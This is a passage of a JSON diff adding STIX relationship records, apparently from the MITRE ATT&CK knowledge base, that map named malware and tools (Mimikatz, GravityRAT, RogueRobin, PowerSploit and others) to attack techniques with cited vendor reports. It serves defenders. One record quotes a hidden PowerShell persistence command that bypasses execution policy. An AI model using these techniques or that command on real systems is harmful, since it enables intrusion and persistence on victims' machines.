"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.180Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) provides command-line access to the compromised system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831", + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[sqlmap](https://attack.mitre.org/software/S0225) can be used to automate exploitation of SQL injection vulnerabilities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--547b575e-bc3c-488a-ae38-8bf6387b33f5", + "external_references": [ + { + "source_name": "sqlmap Introduction", + "description": "Damele, B., Stampar, M. (n.d.). sqlmap. Retrieved March 19, 2018.", + "url": "http://sqlmap.org/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--9a2640c2-9f43-46fe-b13f-bde881e55555", + "relationship_type": "uses", + "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieves persistence by adding itself to the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--284ffb1b-ad42-468e-9897-94c25024f0d4", + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim username and sends it to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for files on the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25d926a0-d2b5-473d-b27b-fb69cf763b77", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) lists the running processes on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54ea458f-665e-42a3-b181-8d783e9589ad", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.269Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s SEKURLSA::Pth module can impersonate a user, with only a password hash, to execute arbitrary commands.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234", + "external_references": [ + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T23:36:42.304Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim IP address, MAC address, as well as the victim account domain name.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--18f3619c-c1e1-4b2c-b582-2cb5691f02e9", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.267Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) terminates antimalware processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f5633e19-e1be-4631-b714-d88016ded128", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) copies itself to the Startup folder to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44908b0a-993a-4339-b30f-f0f1a64c0753", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:06:20.225Z", + "type": "relationship", + "id": "relationship--dcf3e0d4-82a6-4af3-a0ef-6231addd6b4e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--13cad982-35e3-4340-9095-7124b653df4b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Skeleton Key](https://attack.mitre.org/software/S0007) is used to patch an enterprise domain controller authentication process with a backdoor password. It allows adversaries to bypass the standard authentication system to use a defined password for all accounts authenticating to that domain controller.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f76355cb-9aa5-403c-aae4-8faed799ac31", + "external_references": [ + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + } + ], + "modified": "2019-05-03T16:43:36.345Z", + "source_ref": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49", + "relationship_type": "uses", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is capable of uploading and downloading files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5abaaa8f-19c7-448f-9e5a-66f1cbf412f9", + "external_references": [ + { + "source_name": "Unit 42 SeaDuke 2015", + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) uses Python for scripting to execute additional commands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2dd48c1-c960-4f6f-ad99-5b2aa7463e68", + "external_references": [ + { + "source_name": "synack 2016 review", + "description": "Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.", + "url": "https://www.synack.com/2017/01/01/mac-malware-2016/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4b072c90-bc7a-432b-940e-016fc1c01761", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple proxy that creates an outbound RDP connection.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of providing Meterpreter shell access.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of ScriptModification modules that compress and encode scripts and payloads.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4d8df710-e1a4-4069-afef-2e8e63ed6587", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.126Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) contains a keylogger.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2be17426-9704-4913-981b-6d8fe4471147", + "external_references": [ + { + "source_name": "Kaspersky NetTraveler", + "description": "Kaspersky Lab's Global Research and Analysis Team. (n.d.). The NetTraveler (aka \u2018Travnet\u2019). Retrieved November 12, 2014.", + "url": "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is capable of recording keystrokes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ecde1551-bca2-4f45-8692-cbc583cf3d4f", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--785abba4-fdb4-4aad-9049-5a0c748cc965", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.121Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect permission group information by running net group /domain or a series of other commands on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--533deac3-2f27-4256-bb11-7d68d8824d47", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To assist in establishing persistence, [RogueRobin](https://attack.mitre.org/software/S0270) creates %APPDATA%\\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File \u201c%APPDATA%\\OneDrive.ps1\u201d. [RogueRobin](https://attack.mitre.org/software/S0270) also uses Windows Script Components.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9f19b5e4-1be8-4ed8-a2b3-e766e2987df6", + "external_references": [ + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.382Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides access to the system via SSH or any other protocol that uses PAM to authenticate.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4aec6a5-2c11-45a2-8c79-8cccf85179cb", + "external_references": [ + { + "source_name": "Umbreon Trend Micro", + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:33:42.577Z", + "type": "relationship", + "id": "relationship--06cd0498-7ebb-41e6-9399-c43c82487540", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to pack their tools.", + "type": "relationship", + "created": "2018-01-16T21:43:14.128Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031", + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "modified": "2019-04-29T18:01:20.515Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[jRAT](https://attack.mitre.org/software/S0283)\u2019s Java payload is encrypted with AES. Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of [jRAT](https://attack.mitre.org/software/S0283) also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec2e27c9-71fe-4650-a5b9-1247193c39f6", + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "modified": "2019-06-24T17:20:24.387Z", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.544Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--003f23dd-24c7-4b3b-b703-0bf081d638f4", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has used HTTP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d90aad5-e0fb-4a8c-862a-71d3db99bae9", + "external_references": [ + { + "source_name": "Symantec Orangeworm IOCs April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). Orangeworm: Indicators of Compromise. Retrieved July 8, 2018." + } + ], + "modified": "2019-03-25T15:36:46.835Z", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can delete files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 